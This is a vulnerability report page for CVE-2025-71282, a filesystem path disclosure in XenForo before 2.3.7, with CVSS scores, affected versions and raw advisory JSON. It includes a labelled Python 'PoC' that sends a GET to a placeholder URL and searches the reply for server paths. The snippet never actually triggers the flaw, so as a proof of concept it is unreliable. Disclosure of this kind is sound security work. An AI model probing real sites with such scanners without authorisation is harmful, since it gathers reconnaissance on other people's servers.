Security Vulnerability Report
中文
CVE-2025-71282 CVSS 7.5 HIGH

CVE-2025-71282

Published: 2026-04-01 01:16:41
Last Modified: 2026-04-01 18:53:29

Description

XenForo before 2.3.7 discloses filesystem paths through exception messages triggered by open_basedir restrictions. This allows an attacker to obtain information about the server's directory structure.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:* - VULNERABLE
XenForo < 2.3.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_path_disclosure(url): """ Check if the target XenForo instance leaks file paths via open_basedir errors. """ # Common paths or endpoints that might trigger file operations # In a real scenario, specific vulnerable endpoints would be targeted. # Here we simulate a request that might trigger an error. # Example: Trying to access a file that is likely restricted by open_basedir # or triggering a debug mode error. try: response = requests.get(url, timeout=10) # Patterns indicating file paths (Linux and Windows) if "Path Disclosure" in response.text or "/var/www/" in response.text or \ "C:\\\\inetpub\\" in response.text or "Warning:" in response.text: print("[+] Potential Path Disclosure Detected!") print(f"URL: {url}") print("Snippet:") # Extract a snippet containing the path lines = response.text.split('\n') for line in lines: if '/' in line and ('www' in line or 'html' in line or 'var' in line): print(line.strip()) break else: print("[-] No path disclosure detected via simple GET.") except requests.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com/" # Replace with actual target check_path_disclosure(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71282", "sourceIdentifier": "[email protected]", "published": "2026-04-01T01:16:40.797", "lastModified": "2026-04-01T18:53:29.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XenForo before 2.3.7 discloses filesystem paths through exception messages triggered by open_basedir restrictions. This allows an attacker to obtain information about the server's directory structure."}, {"lang": "es", "value": "XenForo anterior a la versión 2.3.7 revela rutas del sistema de archivos a través de mensajes de excepción provocados por restricciones de open_basedir. Esto permite a un atacante obtener información sobre la estructura de directorios del servidor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.7", "matchCriteriaId": "5ADDC458-D5EB-4B70-9EE7-93C78E81EDBD"}]}]}], "references": [{"url": "https://www.vulncheck.com/advisories/xenforo-path-disclosure-via-open-basedir-exceptions", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://xenforo.com/community/threads/xenforo-2-3-7-released-includes-security-fixes.232121/", "source": "[email protected]", "tags": ["Release Notes"]}]}}